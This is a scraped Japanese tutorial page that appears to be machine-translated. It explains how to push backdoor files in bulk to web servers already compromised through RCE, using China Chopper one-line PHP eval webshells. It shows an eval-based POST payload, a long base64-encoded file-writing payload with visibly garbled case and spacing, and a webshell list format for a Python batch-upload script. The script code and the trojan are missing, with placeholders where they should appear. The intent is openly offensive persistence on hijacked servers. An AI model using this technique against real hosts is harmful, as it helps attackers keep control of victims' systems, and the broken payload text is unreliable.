ホームページ  >  記事  >  バックエンド開発  >  PHP は単一ファイルのバッチ アップロードを実装します。_PHP チュートリアル

PHP は単一ファイルのバッチ アップロードを実装します。_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-12 09:02:011021ブラウズ

PHP は単一ファイルのバッチ アップロードを実装しています。

一般的な RCE 脆弱性を通じて多くの Web シェルをバッチで取得する場合、後で使用するためにバックドアをバッチでアップロードしたい場合がよくあります。現時点では、包丁を使ってファイルを 1 つずつアップロードするのは遅すぎると思わざるを得ません。では、ファイルを一括ですばやくアップロードするにはどうすればよいでしょうか。この記事では、このような要件を PHP に基づいて実装する方法を紹介します。

0×01原理分析

まず第一に、Chopper が 1 文のトロイの木馬を介して Web サーバーのファイル管理をどのように実装するかを理解する必要があります。

以下は最も一般的な php 一文のトロイの木馬です:

リーリー

一文のトロイの木馬を Web サーバーにアップロードした後、上記のパスワード (上記の例では 1 など) を包丁に直接入力してサーバーに接続し、ファイルを管理できます。

それでは、ここの包丁はどのように簡単な文でサーバーを管理、制御できるのでしょうか?チョッパーの原理を分析すると、チョッパーが POST メソッドで渡されたコマンド ステートメントを実行するために eval 関数を使用していることを見つけるのは難しくありません。

したがって、Chopper Sentence Trojan を通じてファイルをアップロードしたい場合は、次のようなファイル書き込みコマンドを含む POST リクエストをリモート サービス内の文を含む URL に送信するだけで済みます。

投稿:

1=@eval($_POST[z0]);&z0=echo $_SERVER['DOCUMENT_ROOT'];

上記のコードには 2 つの部分が含まれています:

1. 一文のパスワード

2. PHP 実行コードがサーバーに送信される

原理がわかったので、次の POST リクエストを送信するだけで、ファイルのアップロード機能を 1 つの文で完了できます:

投稿: V1 =@Eval (Base64_Decode ($ _ Post [Z0])); Z2LJX3F1B3RLC19YDW501LKDAPO2VJAG8OII0+FCIPOZSKJGY9JF9QT1NUWYJ6MSJDOOWOWOWKX1BPU1RBINOYIL07CIRJPXBSYZXBSYWNLKCJCCIISIII IsjgMPowok yz1DHJFCMVWBGFJZSGIXG4ILCILCRJKJGJ1ZJ0IJSKZM9YKCRPPTA7jgk3rybgVVCRJKICRIDWYNNONN0Cigky YWKASWXKTSKZWNOBYHAZNDYAXRLKZVCGVUKCRMLCJ3IIKSJGJ1ZIKPLY2HVKCJ8PC0Ikskzgllk7 & Z1 = L3HCI9VDC8XLNR4DA == & Z Z2 = agvsbg8gd29ybgqh

この POST データを注意深く分析すると、次の部分が含まれています:

1. 1つ目はphp 1の一文パスワードです

2. eval メソッドを使用して、base64 デコードされた z0 を実行すると、次のように表示されます。 リーリー

3. z0 で Base64 デコードされた z1 と z2 を呼び出し続けます。デコードされた結果は次のとおりです。 リーリー

この時点で、上記の POST リクエストの機能が実際には hello world! のメッセージを送信することであることが明確にわかります。 1.txt という名前のファイルをサーバーの /var/www/root/ パスにアップロードします。

0×02コードの実装

上記の原理分析に基づいて、次のコードを使用して、PHP の 1 文に基づくファイルのバッチ アップロードを実装できます。

リーリー

webshel​​l.txtの形式: [一文のWebシェルファイルパス]、[Webシェル接続パスワード]は次のとおりです:

http://www.example1.com/1.php, 1

http://www.example2.com/1.php, 1

http://www.example3.com/1.php, 1

上記のスクリプトをbatch_upload_file.pyとして保存し、コマンド python patch_upload_file.py webshel​​l.txt 1.txt を実行すると、次のようになります。

上記のコンテンツは、PHP での単一ファイルのバッチアップロードに関する関連知識を紹介しています。気に入っていただければ幸いです。

興味がありそうな記事:

PHP一括アップロードの実装コード

    PHP画像一括アップロードの具体的な実装方法の紹介
  • PHPでJavascriptとSessionを使用してファイルアップロードプログレスバー機能を実装する
  • PHPファイルアップロード判定ファイル ファイルをアップロードする方法を選択しましたか
  • 定番のPHPファイルアップロードクラス共有
  • PHPファイルアップロード機能を実装するためのphp.iniの設定
  • ファイルアップロードチュートリアルを実装するphp+jQuery.uploadify
  • phpアップロードファイルを作成し、mysqlデータベースに保存するメソッド
  • phpは、アップロードされたWordファイルをHTML
  • に変換するメソッドを実現します
http://www.bkjia.com/PHPjc/1086655.html

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/1086655.html技術記事 PHP は、単一ファイルのバッチ アップロードを実装しています。一般的な RCE 脆弱性を利用して多数の Web シェルをバッチでキャプチャした場合、後で使用するためにバックドアをバッチでアップロードする必要がある場合があります。この時私は…
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。